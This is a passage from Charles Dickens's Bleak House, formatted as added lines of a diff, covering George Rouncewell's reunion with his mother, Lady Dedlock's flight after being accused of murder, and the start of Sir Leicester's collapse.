+heirlooms, thousands of fingers pointing at him, thousands of faces
+sneering at him. But if such shadows flit before him to his
+bewilderment, there is one other shadow which he can name with
+something like distinctness even yet and to which alone he addresses
+his tearing of his white hair and his extended arms.
+
+It is she in association with whom, saving that she has been for
+years a main fibre of the root of his dignity and pride, he has never
+had a selfish thought. It is she whom he has loved, admired,
+honoured, and set up for the world to respect. It is she who, at the
+core of all the constrained formalities and conventionalities of his
+life, has been a stock of living tenderness and love, susceptible as
+nothing else is of being struck with the agony he feels. He sees her,
+almost to the exclusion of himself, and cannot bear to look upon her
+cast down from the high place she has graced so well.
+
+And even to the point of his sinking on the ground, oblivious of his
+suffering, he can yet pronounce her name with something like
+distinctness in the midst of those intrusive sounds, and in a tone of
+mourning and compassion rather than reproach.
+
+
+
+
+CHAPTER LV
+
+Flight
+
+
+Inspector Bucket of the Detective has not yet struck his great blow,
+as just now chronicled, but is yet refreshing himself with sleep
+preparatory to his field-day, when through the night and along the
+freezing wintry roads a chaise and pair comes out of Lincolnshire,
+making its way towards London.
+
+Railroads shall soon traverse all this country, and with a rattle and
+a glare the engine and train shall shoot like a meteor over the wide
+night-landscape, turning the moon paler; but as yet such things are
+non-existent in these parts, though not wholly unexpected.
+Preparations are afoot, measurements are made, ground is staked out.
+Bridges are begun, and their not yet united piers desolately look at
+one another over roads and streams like brick and mortar couples with
+an obstacle to their union; fragments of embankments are thrown up
+and left as precipices with torrents of rusty carts and barrows
+tumbling over them; tripods of tall poles appear on hilltops, where
+there are rumours of tunnels; everything looks chaotic and abandoned
+in full hopelessness. Along the freezing roads, and through the
+night, the post-chaise makes its way without a railroad on its mind.
+
+Mrs. Rouncewell, so many years housekeeper at Chesney Wold, sits
+within the chaise; and by her side sits Mrs. Bagnet with her grey
+cloak and umbrella. The old girl would prefer the bar in front, as
+being exposed to the weather and a primitive sort of perch more in
+accordance with her usual course of travelling, but Mrs. Rouncewell
+is too thoughtful of her comfort to admit of her proposing it. The
+old lady cannot make enough of the old girl. She sits, in her stately
+manner, holding her hand, and regardless of its roughness, puts it
+often to her lips. "You are a mother, my dear soul," says she many
+times, "and you found out my George's mother!"
+
+"Why, George," returns Mrs. Bagnet, "was always free with me, ma'am,
+and when he said at our house to my Woolwich that of all the things
+my Woolwich could have to think of when he grew to be a man, the
+comfortablest would be that he had never brought a sorrowful line
+into his mother's face or turned a hair of her head grey, then I felt
+sure, from his way, that something fresh had brought his own mother
+into his mind. I had often known him say to me, in past times, that
+he had behaved bad to her."
+
+"Never, my dear!" returns Mrs. Rouncewell, bursting into tears. "My
+blessing on him, never! He was always fond of me, and loving to me,
+was my George! But he had a bold spirit, and he ran a little wild and
+went for a soldier. And I know he waited at first, in letting us know
+about himself, till he should rise to be an officer; and when he
+didn't rise, I know he considered himself beneath us, and wouldn't be
+a disgrace to us. For he had a lion heart, had my George, always from
+a baby!"
+
+The old lady's hands stray about her as of yore, while she recalls,
+all in a tremble, what a likely lad, what a fine lad, what a gay
+good-humoured clever lad he was; how they all took to him down at
+Chesney Wold; how Sir Leicester took to him when he was a young
+gentleman; how the dogs took to him; how even the people who had been
+angry with him forgave him the moment he was gone, poor boy. And now
+to see him after all, and in a prison too! And the broad stomacher
+heaves, and the quaint upright old-fashioned figure bends under its
+load of affectionate distress.
+
+Mrs. Bagnet, with the instinctive skill of a good warm heart, leaves
+the old housekeeper to her emotions for a little while--not without
+passing the back of her hand across her own motherly eyes--and
+presently chirps up in her cheery manner, "So I says to George when I
+goes to call him in to tea (he pretended to be smoking his pipe
+outside), 'What ails you this afternoon, George, for gracious sake? I
+have seen all sorts, and I have seen you pretty often in season and
+out of season, abroad and at home, and I never see you so melancholy
+penitent.' 'Why, Mrs. Bagnet,' says George, 'it's because I AM
+melancholy and penitent both, this afternoon, that you see me so.'
+'What have you done, old fellow?' I says. 'Why, Mrs. Bagnet,' says
+George, shaking his head, 'what I have done has been done this many a
+long year, and is best not tried to be undone now. If I ever get to
+heaven it won't be for being a good son to a widowed mother; I say no
+more.' Now, ma'am, when George says to me that it's best not tried to
+be undone now, I have my thoughts as I have often had before, and I
+draw it out of George how he comes to have such things on him that
+afternoon. Then George tells me that he has seen by chance, at the
+lawyer's office, a fine old lady that has brought his mother plain
+before him, and he runs on about that old lady till he quite forgets
+himself and paints her picture to me as she used to be, years upon
+years back. So I says to George when he has done, who is this old
+lady he has seen? And George tells me it's Mrs. Rouncewell,
+housekeeper for more than half a century to the Dedlock family down
+at Chesney Wold in Lincolnshire. George has frequently told me before
+that he's a Lincolnshire man, and I says to my old Lignum that night,
+'Lignum, that's his mother for five and for-ty pound!'"
+
+All this Mrs. Bagnet now relates for the twentieth time at least
+within the last four hours. Trilling it out like a kind of bird, with
+a pretty high note, that it may be audible to the old lady above the
+hum of the wheels.
+
+"Bless you, and thank you," says Mrs. Rouncewell. "Bless you, and
+thank you, my worthy soul!"
+
+"Dear heart!" cries Mrs. Bagnet in the most natural manner. "No
+thanks to me, I am sure. Thanks to yourself, ma'am, for being so
+ready to pay 'em! And mind once more, ma'am, what you had best do
+on finding George to be your own son is to make him--for your
+sake--have every sort of help to put himself in the right and clear
+himself of a charge of which he is as innocent as you or me. It won't
+do to have truth and justice on his side; he must have law and
+lawyers," exclaims the old girl, apparently persuaded that the latter
+form a separate establishment and have dissolved partnership with
+truth and justice for ever and a day.
+
+"He shall have," says Mrs. Rouncewell, "all the help that can be got
+for him in the world, my dear. I will spend all I have, and
+thankfully, to procure it. Sir Leicester will do his best, the whole
+family will do their best. I--I know something, my dear; and will
+make my own appeal, as his mother parted from him all these years,
+and finding him in a jail at last."
+
+The extreme disquietude of the old housekeeper's manner in saying
+this, her broken words, and her wringing of her hands make a powerful
+impression on Mrs. Bagnet and would astonish her but that she refers
+them all to her sorrow for her son's condition. And yet Mrs. Bagnet
+wonders too why Mrs. Rouncewell should murmur so distractedly, "My
+Lady, my Lady, my Lady!" over and over again.
+
+The frosty night wears away, and the dawn breaks, and the post-chaise
+comes rolling on through the early mist like the ghost of a chaise
+departed. It has plenty of spectral company in ghosts of trees and
+hedges, slowly vanishing and giving place to the realities of day.
+London reached, the travellers alight, the old housekeeper in great
+tribulation and confusion, Mrs. Bagnet quite fresh and collected--as
+she would be if her next point, with no new equipage and outfit, were
+the Cape of Good Hope, the Island of Ascension, Hong Kong, or any
+other military station.
+
+But when they set out for the prison where the trooper is
+confined, the old lady has managed to draw about her, with her
+lavender-coloured dress, much of the staid calmness which is its
+usual accompaniment. A wonderfully grave, precise, and handsome piece
+of old china she looks, though her heart beats fast and her stomacher
+is ruffled more than even the remembrance of this wayward son has
+ruffled it these many years.
+
+Approaching the cell, they find the door opening and a warder in the
+act of coming out. The old girl promptly makes a sign of entreaty to
+him to say nothing; assenting with a nod, he suffers them to enter as
+he shuts the door.
+
+So George, who is writing at his table, supposing himself to be
+alone, does not raise his eyes, but remains absorbed. The old
+housekeeper looks at him, and those wandering hands of hers are quite
+enough for Mrs. Bagnet's confirmation, even if she could see the
+mother and the son together, knowing what she knows, and doubt their
+relationship.
+
+Not a rustle of the housekeeper's dress, not a gesture, not a word
+betrays her. She stands looking at him as he writes on, all
+unconscious, and only her fluttering hands give utterance to her
+emotions. But they are very eloquent, very, very eloquent. Mrs.
+Bagnet understands them. They speak of gratitude, of joy, of grief,
+of hope; of inextinguishable affection, cherished with no return
+since this stalwart man was a stripling; of a better son loved less,
+and this son loved so fondly and so proudly; and they speak in such
+touching language that Mrs. Bagnet's eyes brim up with tears and they
+run glistening down her sun-brown face.
+
+"George Rouncewell! Oh, my dear child, turn and look at me!"
+
+The trooper starts up, clasps his mother round the neck, and falls
+down on his knees before her. Whether in a late repentance, whether
+in the first association that comes back upon him, he puts his hands
+together as a child does when it says its prayers, and raising them
+towards her breast, bows down his head, and cries.
+
+"My George, my dearest son! Always my favourite, and my favourite
+still, where have you been these cruel years and years? Grown such a
+man too, grown such a fine strong man. Grown so like what I knew he
+must be, if it pleased God he was alive!"
+
+She can ask, and he can answer, nothing connected for a time. All
+that time the old girl, turned away, leans one arm against the
+whitened wall, leans her honest forehead upon it, wipes her eyes with
+her serviceable grey cloak, and quite enjoys herself like the best of
+old girls as she is.
+
+"Mother," says the trooper when they are more composed, "forgive me
+first of all, for I know my need of it."
+
+Forgive him! She does it with all her heart and soul. She always has
+done it. She tells him how she has had it written in her will, these
+many years, that he was her beloved son George. She has never
+believed any ill of him, never. If she had died without this
+happiness--and she is an old woman now and can't look to live very
+long--she would have blessed him with her last breath, if she had had
+her senses, as her beloved son George.
+
+"Mother, I have been an undutiful trouble to you, and I have my
+reward; but of late years I have had a kind of glimmering of a
+purpose in me too. When I left home I didn't care much, mother--I am
+afraid not a great deal--for leaving; and went away and 'listed,
+harum-scarum, making believe to think that I cared for nobody, no not
+I, and that nobody cared for me."
+
+The trooper has dried his eyes and put away his handkerchief, but
+there is an extraordinary contrast between his habitual manner of
+expressing himself and carrying himself and the softened tone in
+which he speaks, interrupted occasionally by a half-stifled sob.
+
+"So I wrote a line home, mother, as you too well know, to say I had
+'listed under another name, and I went abroad. Abroad, at one time I
+thought I would write home next year, when I might be better off; and
+when that year was out, I thought I would write home next year, when
+I might be better off; and when that year was out again, perhaps I
+didn't think much about it. So on, from year to year, through a
+service of ten years, till I began to get older, and to ask myself
+why should I ever write."
+
+"I don't find any fault, child--but not to ease my mind, George? Not
+a word to your loving mother, who was growing older too?"
+
+This almost overturns the trooper afresh, but he sets himself up with
+a great, rough, sounding clearance of his throat.
+
+"Heaven forgive me, mother, but I thought there would be small
+consolation then in hearing anything about me. There were you,
+respected and esteemed. There was my brother, as I read in chance
+North Country papers now and then, rising to be prosperous and
+famous. There was I a dragoon, roving, unsettled, not self-made like
+him, but self-unmade--all my earlier advantages thrown away, all my
+little learning unlearnt, nothing picked up but what unfitted me for
+most things that I could think of. What business had I to make myself
+known? After letting all that time go by me, what good could come of
+it? The worst was past with you, mother. I knew by that time (being a
+man) how you had mourned for me, and wept for me, and prayed for me;
+and the pain was over, or was softened down, and I was better in your
+mind as it was."
+
+The old lady sorrowfully shakes her head, and taking one of his
+powerful hands, lays it lovingly upon her shoulder.
+
+"No, I don't say that it was so, mother, but that I made it out to be
+so. I said just now, what good could come of it? Well, my dear
+mother, some good might have come of it to myself--and there was the
+meanness of it. You would have sought me out; you would have
+purchased my discharge; you would have taken me down to Chesney Wold;
+you would have brought me and my brother and my brother's family
+together; you would all have considered anxiously how to do something
+for me and set me up as a respectable civilian. But how could any of
+you feel sure of me when I couldn't so much as feel sure of myself?
+How could you help regarding as an incumbrance and a discredit to you
+an idle dragooning chap who was an incumbrance and a discredit to
+himself, excepting under discipline? How could I look my brother's
+children in the face and pretend to set them an example--I, the
+vagabond boy who had run away from home and been the grief and
+unhappiness of my mother's life? 'No, George.' Such were my words,
+mother, when I passed this in review before me: 'You have made your
+bed. Now, lie upon it.'"
+
+Mrs. Rouncewell, drawing up her stately form, shakes her head at the
+old girl with a swelling pride upon her, as much as to say, "I told
+you so!" The old girl relieves her feelings and testifies her
+interest in the conversation by giving the trooper a great poke
+between the shoulders with her umbrella; this action she afterwards
+repeats, at intervals, in a species of affectionate lunacy, never
+failing, after the administration of each of these remonstrances, to
+resort to the whitened wall and the grey cloak again.
+
+"This was the way I brought myself to think, mother, that my best
+amends was to lie upon that bed I had made, and die upon it. And I
+should have done it (though I have been to see you more than once
+down at Chesney Wold, when you little thought of me) but for my old
+comrade's wife here, who I find has been too many for me. But I thank
+her for it. I thank you for it, Mrs. Bagnet, with all my heart and
+might."
+
+To which Mrs. Bagnet responds with two pokes.
+
+And now the old lady impresses upon her son George, her own dear
+recovered boy, her joy and pride, the light of her eyes, the happy
+close of her life, and every fond name she can think of, that he must
+be governed by the best advice obtainable by money and influence,
+that he must yield up his case to the greatest lawyers that can be
+got, that he must act in this serious plight as he shall be advised
+to act and must not be self-willed, however right, but must promise
+to think only of his poor old mother's anxiety and suffering until he
+is released, or he will break her heart.
+
+"Mother, 'tis little enough to consent to," returns the trooper,
+stopping her with a kiss; "tell me what I shall do, and I'll make a
+late beginning and do it. Mrs. Bagnet, you'll take care of my mother,
+I know?"
+
+A very hard poke from the old girl's umbrella.
+
+"If you'll bring her acquainted with Mr. Jarndyce and Miss Summerson,
+she will find them of her way of thinking, and they will give her the
+best advice and assistance."
+
+"And, George," says the old lady, "we must send with all haste for
+your brother. He is a sensible sound man as they tell me--out in the
+world beyond Chesney Wold, my dear, though I don't know much of it
+myself--and will be of great service."
+
+"Mother," returns the trooper, "is it too soon to ask a favour?"
+
+"Surely not, my dear."
+
+"Then grant me this one great favour. Don't let my brother know."
+
+"Not know what, my dear?"
+
+"Not know of me. In fact, mother, I can't bear it; I can't make up my
+mind to it. He has proved himself so different from me and has done
+so much to raise himself while I've been soldiering that I haven't
+brass enough in my composition to see him in this place and under
+this charge. How could a man like him be expected to have any
+pleasure in such a discovery? It's impossible. No, keep my secret
+from him, mother; do me a greater kindness than I deserve and keep my
+secret from my brother, of all men."
+
+"But not always, dear George?"
+
+"Why, mother, perhaps not for good and all--though I may come to ask
+that too--but keep it now, I do entreat you. If it's ever broke to
+him that his rip of a brother has turned up, I could wish," says the
+trooper, shaking his head very doubtfully, "to break it myself and be
+governed as to advancing or retreating by the way in which he seems
+to take it."
+
+As he evidently has a rooted feeling on this point, and as the depth
+of it is recognized in Mrs. Bagnet's face, his mother yields her
+implicit assent to what he asks. For this he thanks her kindly.
+
+"In all other respects, my dear mother, I'll be as tractable and
+obedient as you can wish; on this one alone, I stand out. So now I am
+ready even for the lawyers. I have been drawing up," he glances at
+his writing on the table, "an exact account of what I knew of the
+deceased and how I came to be involved in this unfortunate affair.
+It's entered, plain and regular, like an orderly-book; not a word in
+it but what's wanted for the facts. I did intend to read it, straight
+on end, whensoever I was called upon to say anything in my defence. I
+hope I may be let to do it still; but I have no longer a will of my
+own in this case, and whatever is said or done, I give my promise not
+to have any."
+
+Matters being brought to this so far satisfactory pass, and time
+being on the wane, Mrs. Bagnet proposes a departure. Again and again
+the old lady hangs upon her son's neck, and again and again the
+trooper holds her to his broad chest.
+
+"Where are you going to take my mother, Mrs. Bagnet?"
+
+"I am going to the town house, my dear, the family house. I have some
+business there that must be looked to directly," Mrs. Rouncewell
+answers.
+
+"Will you see my mother safe there in a coach, Mrs. Bagnet? But of
+course I know you will. Why should I ask it!"
+
+Why indeed, Mrs. Bagnet expresses with the umbrella.
+
+"Take her, my old friend, and take my gratitude along with you.
+Kisses to Quebec and Malta, love to my godson, a hearty shake of the
+hand to Lignum, and this for yourself, and I wish it was ten thousand
+pound in gold, my dear!" So saying, the trooper puts his lips to the
+old girl's tanned forehead, and the door shuts upon him in his cell.
+
+No entreaties on the part of the good old housekeeper will induce
+Mrs. Bagnet to retain the coach for her own conveyance home. Jumping
+out cheerfully at the door of the Dedlock mansion and handing Mrs.
+Rouncewell up the steps, the old girl shakes hands and trudges off,
+arriving soon afterwards in the bosom of the Bagnet family and
+falling to washing the greens as if nothing had happened.
+
+My Lady is in that room in which she held her last conference with
+the murdered man, and is sitting where she sat that night, and is
+looking at the spot where he stood upon the hearth studying her so
+leisurely, when a tap comes at the door. Who is it? Mrs. Rouncewell.
+What has brought Mrs. Rouncewell to town so unexpectedly?
+
+"Trouble, my Lady. Sad trouble. Oh, my Lady, may I beg a word with
+you?"
+
+What new occurrence is it that makes this tranquil old woman tremble
+so? Far happier than her Lady, as her Lady has often thought, why
+does she falter in this manner and look at her with such strange
+mistrust?
+
+"What is the matter? Sit down and take your breath."
+
+"Oh, my Lady, my Lady. I have found my son--my youngest, who went
+away for a soldier so long ago. And he is in prison."
+
+"For debt?"
+
+"Oh, no, my Lady; I would have paid any debt, and joyful."
+
+"For what is he in prison then?"
+
+"Charged with a murder, my Lady, of which he is as innocent as--as I
+am. Accused of the murder of Mr. Tulkinghorn."
+
+What does she mean by this look and this imploring gesture? Why does
+she come so close? What is the letter that she holds?
+
+"Lady Dedlock, my dear Lady, my good Lady, my kind Lady! You must
+have a heart to feel for me, you must have a heart to forgive me. I
+was in this family before you were born. I am devoted to it. But
+think of my dear son wrongfully accused."
+
+"I do not accuse him."
+
+"No, my Lady, no. But others do, and he is in prison and in danger.
+Oh, Lady Dedlock, if you can say but a word to help to clear him, say
+it!"
+
+What delusion can this be? What power does she suppose is in the
+person she petitions to avert this unjust suspicion, if it be unjust?
+Her Lady's handsome eyes regard her with astonishment, almost with
+fear.
+
+"My Lady, I came away last night from Chesney Wold to find my son in
+my old age, and the step upon the Ghost's Walk was so constant and so
+solemn that I never heard the like in all these years. Night after
+night, as it has fallen dark, the sound has echoed through your
+rooms, but last night it was awfullest. And as it fell dark last
+night, my Lady, I got this letter."
+
+"What letter is it?"
+
+"Hush! Hush!" The housekeeper looks round and answers in a frightened
+whisper, "My Lady, I have not breathed a word of it, I don't believe
+what's written in it, I know it can't be true, I am sure and certain
+that it is not true. But my son is in danger, and you must have a
+heart to pity me. If you know of anything that is not known to
+others, if you have any suspicion, if you have any clue at all, and
+any reason for keeping it in your own breast, oh, my dear Lady, think
+of me, and conquer that reason, and let it be known! This is the most
+I consider possible. I know you are not a hard lady, but you go your
+own way always without help, and you are not familiar with your
+friends; and all who admire you--and all do--as a beautiful and
+elegant lady, know you to be one far away from themselves who can't
+be approached close. My Lady, you may have some proud or angry
+reasons for disdaining to utter something that you know; if so, pray,
+oh, pray, think of a faithful servant whose whole life has been
+passed in this family which she dearly loves, and relent, and help to
+clear my son! My Lady, my good Lady," the old housekeeper pleads with
+genuine simplicity, "I am so humble in my place and you are by nature
+so high and distant that you may not think what I feel for my child,
+but I feel so much that I have come here to make so bold as to beg
+and pray you not to be scornful of us if you can do us any right or
+justice at this fearful time!"
+
+Lady Dedlock raises her without one word, until she takes the letter
+from her hand.
+
+"Am I to read this?"
+
+"When I am gone, my Lady, if you please, and then remembering the
+most that I consider possible."
+
+"I know of nothing I can do. I know of nothing I reserve that can
+affect your son. I have never accused him."
+
+"My Lady, you may pity him the more under a false accusation after
+reading the letter."
+
+The old housekeeper leaves her with the letter in her hand. In truth
+she is not a hard lady naturally, and the time has been when the
+sight of the venerable figure suing to her with such strong
+earnestness would have moved her to great compassion. But so long
+accustomed to suppress emotion and keep down reality, so long
+schooled for her own purposes in that destructive school which shuts
+up the natural feelings of the heart like flies in amber and spreads
+one uniform and dreary gloss over the good and bad, the feeling and
+the unfeeling, the sensible and the senseless, she had subdued even
+her wonder until now.
+
+She opens the letter. Spread out upon the paper is a printed account
+of the discovery of the body as it lay face downward on the floor,
+shot through the heart; and underneath is written her own name, with
+the word "murderess" attached.
+
+It falls out of her hand. How long it may have lain upon the ground
+she knows not, but it lies where it fell when a servant stands before
+her announcing the young man of the name of Guppy. The words have
+probably been repeated several times, for they are ringing in her
+head before she begins to understand them.
+
+"Let him come in!"
+
+He comes in. Holding the letter in her hand, which she has taken from
+the floor, she tries to collect her thoughts. In the eyes of Mr.
+Guppy she is the same Lady Dedlock, holding the same prepared, proud,
+chilling state.
+
+"Your ladyship may not be at first disposed to excuse this visit from
+one who has never been welcome to your ladyship"--which he don't
+complain of, for he is bound to confess that there never has been any
+particular reason on the face of things why he should be--"but I hope
+when I mention my motives to your ladyship you will not find fault
+with me," says Mr. Guppy.
+
+"Do so."
+
+"Thank your ladyship. I ought first to explain to your ladyship," Mr.
+Guppy sits on the edge of a chair and puts his hat on the carpet at
+his feet, "that Miss Summerson, whose image, as I formerly mentioned
+to your ladyship, was at one period of my life imprinted on my 'eart
+until erased by circumstances over which I had no control,
+communicated to me, after I had the pleasure of waiting on your
+ladyship last, that she particularly wished me to take no steps
+whatever in any manner at all relating to her. And Miss Summerson's
+wishes being to me a law (except as connected with circumstances over
+which I have no control), I consequently never expected to have the
+distinguished honour of waiting on your ladyship again."
+
+And yet he is here now, Lady Dedlock moodily reminds him.
+
+"And yet I am here now," Mr. Guppy admits. "My object being to
+communicate to your ladyship, under the seal of confidence, why I am
+here."
+
+He cannot do so, she tells him, too plainly or too briefly. "Nor can
+I," Mr. Guppy returns with a sense of injury upon him, "too
+particularly request your ladyship to take particular notice that
+it's no personal affair of mine that brings me here. I have no
+interested views of my own to serve in coming here. If it was not for
+my promise to Miss Summerson and my keeping of it sacred--I, in point
+of fact, shouldn't have darkened these doors again, but should have
+seen 'em further first."
+
+Mr. Guppy considers this a favourable moment for sticking up his hair
+with both hands.
+
+"Your ladyship will remember when I mention it that the last time I
+was here I run against a party very eminent in our profession and
+whose loss we all deplore. That party certainly did from that time
+apply himself to cutting in against me in a way that I will call
+sharp practice, and did make it, at every turn and point, extremely
+difficult for me to be sure that I hadn't inadvertently led up to
+something contrary to Miss Summerson's wishes. Self-praise is no
+recommendation, but I may say for myself that I am not so bad a man
+of business neither."
+
+Lady Dedlock looks at him in stern inquiry. Mr. Guppy immediately
+withdraws his eyes from her face and looks anywhere else.
+
+"Indeed, it has been made so hard," he goes on, "to have any idea
+what that party was up to in combination with others that until the
+loss which we all deplore I was gravelled--an expression which your
+ladyship, moving in the higher circles, will be so good as to
+consider tantamount to knocked over. Small likewise--a name by which
+I refer to another party, a friend of mine that your ladyship is not
+acquainted with--got to be so close and double-faced that at times it
+wasn't easy to keep one's hands off his 'ead. However, what with the
+exertion of my humble abilities, and what with the help of a mutual
+friend by the name of Mr. Tony Weevle (who is of a high aristocratic
+turn and has your ladyship's portrait always hanging up in his room),
+I have now reasons for an apprehension as to which I come to put your
+ladyship upon your guard. First, will your ladyship allow me to ask
+you whether you have had any strange visitors this morning? I don't
+mean fashionable visitors, but such visitors, for instance, as Miss
+Barbary's old servant, or as a person without the use of his lower
+extremities, carried upstairs similarly to a guy?"
+
+"No!"
+
+"Then I assure your ladyship that such visitors have been here and
+have been received here. Because I saw them at the door, and waited
+at the corner of the square till they came out, and took half an
+hour's turn afterwards to avoid them."
+
+"What have I to do with that, or what have you? I do not understand
+you. What do you mean?"
+
+"Your ladyship, I come to put you on your guard. There may be no
+occasion for it. Very well. Then I have only done my best to keep my
+promise to Miss Summerson. I strongly suspect (from what Small has
+dropped, and from what we have corkscrewed out of him) that those
+letters I was to have brought to your ladyship were not destroyed
+when I supposed they were. That if there was anything to be blown
+upon, it IS blown upon. That the visitors I have alluded to have been
+here this morning to make money of it. And that the money is made, or
+making."
+
+Mr. Guppy picks up his hat and rises.
+
+"Your ladyship, you know best whether there's anything in what I say
+or whether there's nothing. Something or nothing, I have acted up to
+Miss Summerson's wishes in letting things alone and in undoing what I
+had begun to do, as far as possible; that's sufficient for me. In
+case I should be taking a liberty in putting your ladyship on your
+guard when there's no necessity for it, you will endeavour, I should
+hope, to outlive my presumption, and I shall endeavour to outlive
+your disapprobation. I now take my farewell of your ladyship, and
+assure you that there's no danger of your ever being waited on by me
+again."
+
+She scarcely acknowledges these parting words by any look, but when
+he has been gone a little while, she rings her bell.
+
+"Where is Sir Leicester?"
+
+Mercury reports that he is at present shut up in the library alone.
+
+"Has Sir Leicester had any visitors this morning?"
+
+Several, on business. Mercury proceeds to a description of them,
+which has been anticipated by Mr. Guppy. Enough; he may go.
+
+So! All is broken down. Her name is in these many mouths, her husband
+knows his wrongs, her shame will be published--may be spreading while
+she thinks about it--and in addition to the thunderbolt so long
+foreseen by her, so unforeseen by him, she is denounced by an
+invisible accuser as the murderess of her enemy.
+
+Her enemy he was, and she has often, often, often wished him dead.
+Her enemy he is, even in his grave. This dreadful accusation comes
+upon her like a new torment at his lifeless hand. And when she
+recalls how she was secretly at his door that night, and how she may
+be represented to have sent her favourite girl away so soon before
+merely to release herself from observation, she shudders as if the
+hangman's hands were at her neck.
+
+She has thrown herself upon the floor and lies with her hair all
+wildly scattered and her face buried in the cushions of a couch. She
+rises up, hurries to and fro, flings herself down again, and rocks
+and moans. The horror that is upon her is unutterable. If she really
+were the murderess, it could hardly be, for the moment, more intense.
+
+For as her murderous perspective, before the doing of the deed,
+however subtle the precautions for its commission, would have been
+closed up by a gigantic dilatation of the hateful figure, preventing
+her from seeing any consequences beyond it; and as those consequences
+would have rushed in, in an unimagined flood, the moment the figure
+was laid low--which always happens when a murder is done; so, now she
+sees that when he used to be on the watch before her, and she used to
+think, "if some mortal stroke would but fall on this old man and take
+him from my way!" it was but wishing that all he held against her in
+his hand might be flung to the winds and chance-sown in many places.
+So, too, with the wicked relief she has felt in his death. What was
+his death but the key-stone of a gloomy arch removed, and now the
+arch begins to fall in a thousand fragments, each crushing and
+mangling piecemeal!
+
+Thus, a terrible impression steals upon and overshadows her that from
+this pursuer, living or dead--obdurate and imperturbable before her
+in his well-remembered shape, or not more obdurate and imperturbable
+in his coffin-bed--there is no escape but in death. Hunted, she
+flies. The complication of her shame, her dread, remorse, and misery,
+overwhelms her at its height; and even her strength of self-reliance
+is overturned and whirled away like a leaf before a mighty wind.
+
+She hurriedly addresses these lines to her husband, seals, and leaves
+them on her table:
+
+
+   If I am sought for, or accused of, his murder, believe
+   that I am wholly innocent. Believe no other good of me,
+   for I am innocent of nothing else that you have heard,
+   or will hear, laid to my charge. He prepared me, on that
+   fatal night, for his disclosure of my guilt to you. After
+   he had left me, I went out on pretence of walking in the
+   garden where I sometimes walk, but really to follow him
+   and make one last petition that he would not protract the
+   dreadful suspense on which I have been racked by him, you
+   do not know how long, but would mercifully strike next
+   morning.
+
+   I found his house dark and silent. I rang twice at his
+   door, but there was no reply, and I came home.
+
+   I have no home left. I will encumber you no more. May
+   you, in your just resentment, be able to forget the
+   unworthy woman on whom you have wasted a most generous
+   devotion--who avoids you only with a deeper shame than
+   that with which she hurries from herself--and who writes
+   this last adieu.
+
+
+She veils and dresses quickly, leaves all her jewels and her money,
+listens, goes downstairs at a moment when the hall is empty, opens
+and shuts the great door, flutters away in the shrill frosty wind.
+
+
+
+
+CHAPTER LVI
+
+Pursuit
+
+
+Impassive, as behoves its high breeding, the Dedlock town house
+stares at the other houses in the street of dismal grandeur and gives
+no outward sign of anything going wrong within. Carriages rattle,
+doors are battered at, the world exchanges calls; ancient charmers
+with skeleton throats and peachy cheeks that have a rather ghastly
+bloom upon them seen by daylight, when indeed these fascinating
+creatures look like Death and the Lady fused together, dazzle the
+eyes of men. Forth from the frigid mews come easily swinging
+carriages guided by short-legged coachmen in flaxen wigs, deep sunk
+into downy hammercloths, and up behind mount luscious Mercuries
+bearing sticks of state and wearing cocked hats broadwise, a
+spectacle for the angels.
+
+The Dedlock town house changes not externally, and hours pass before
+its exalted dullness is disturbed within. But Volumnia the fair,
+being subject to the prevalent complaint of boredom and finding that
+disorder attacking her spirits with some virulence, ventures at
+length to repair to the library for change of scene. Her gentle
+tapping at the door producing no response, she opens it and peeps in;
+seeing no one there, takes possession.
+
+The sprightly Dedlock is reputed, in that grass-grown city of the
+ancients, Bath, to be stimulated by an urgent curiosity which impels
+her on all convenient and inconvenient occasions to sidle about with
+a golden glass at her eye, peering into objects of every description.
+Certain it is that she avails herself of the present opportunity of
+hovering over her kinsman's letters and papers like a bird, taking a
+short peck at this document and a blink with her head on one side at
+that document, and hopping about from table to table with her glass
+at her eye in an inquisitive and restless manner. In the course of
+these researches she stumbles over something, and turning her glass
+in that direction, sees her kinsman lying on the ground like a felled
+tree.
+
+Volumnia's pet little scream acquires a considerable augmentation of
+reality from this surprise, and the house is quickly in commotion.
+Servants tear up and down stairs, bells are violently rung, doctors
+are sent for, and Lady Dedlock is sought in all directions, but not
+found. Nobody has seen or heard her since she last rang her bell. Her
+letter to Sir Leicester is discovered on her table, but it is
+doubtful yet whether he has not received another missive from another
+world requiring to be personally answered, and all the living
+languages, and all the dead, are as one to him.
+
+They lay him down upon his bed, and chafe, and rub, and fan, and put
+ice to his head, and try every means of restoration. Howbeit, the day
+has ebbed away, and it is night in his room before his stertorous
+breathing lulls or his fixed eyes show any consciousness of the
+candle that is occasionally passed before them. But when this change
+begins, it goes on; and by and by he nods or moves his eyes or even
+his hand in token that he hears and comprehends.
+
+He fell down, this morning, a handsome stately gentleman, somewhat
+infirm, but of a fine presence, and with a well-filled face. He lies
+upon his bed, an aged man with sunken cheeks, the decrepit shadow of
+himself. His voice was rich and mellow and he had so long been
+thoroughly persuaded of the weight and import to mankind of any word
+he said that his words really had come to sound as if there were
+something in them. But now he can only whisper, and what he whispers
+sounds like what it is--mere jumble and jargon.
+
+His favourite and faithful housekeeper stands at his bedside. It is
+the first act he notices, and he clearly derives pleasure from it.
+After vainly trying to make himself understood in speech, he makes
+signs for a pencil. So inexpressively that they cannot at first
+understand him; it is his old housekeeper who makes out what he wants
+and brings in a slate.
+
+After pausing for some time, he slowly scrawls upon it in a hand that
+is not his, "Chesney Wold?"
+
+No, she tells him; he is in London. He was taken ill in the library
+this morning. Right thankful she is that she happened to come to
+London and is able to attend upon him.
+
+"It is not an illness of any serious consequence, Sir Leicester. You
+will be much better to-morrow, Sir Leicester. All the gentlemen say
+so." This, with the tears coursing down her fair old face.
+
+After making a survey of the room and looking with particular
+attention all round the bed where the doctors stand, he writes, "My
+Lady."
+
+"My Lady went out, Sir Leicester, before you were taken ill, and
+don't know of your illness yet."
+
+He points again, in great agitation, at the two words. They all try
+to quiet him, but he points again with increased agitation. On their
+looking at one another, not knowing what to say, he takes the slate
+once more and writes "My Lady. For God's sake, where?" And makes an
+imploring moan.
+
+It is thought better that his old housekeeper should give him Lady
+Dedlock's letter, the contents of which no one knows or can surmise.
+She opens it for him and puts it out for his perusal. Having read it
+twice by a great effort, he turns it down so that it shall not be
+seen and lies moaning. He passes into a kind of relapse or into a
+swoon, and it is an hour before he opens his eyes, reclining on his
+faithful and attached old servant's arm. The doctors know that he is
+best with her, and when not actively engaged about him, stand aloof.
+
+The slate comes into requisition again, but the word he wants to
+write he cannot remember. His anxiety, his eagerness, and affliction
+at this pass are pitiable to behold. It seems as if he must go mad in
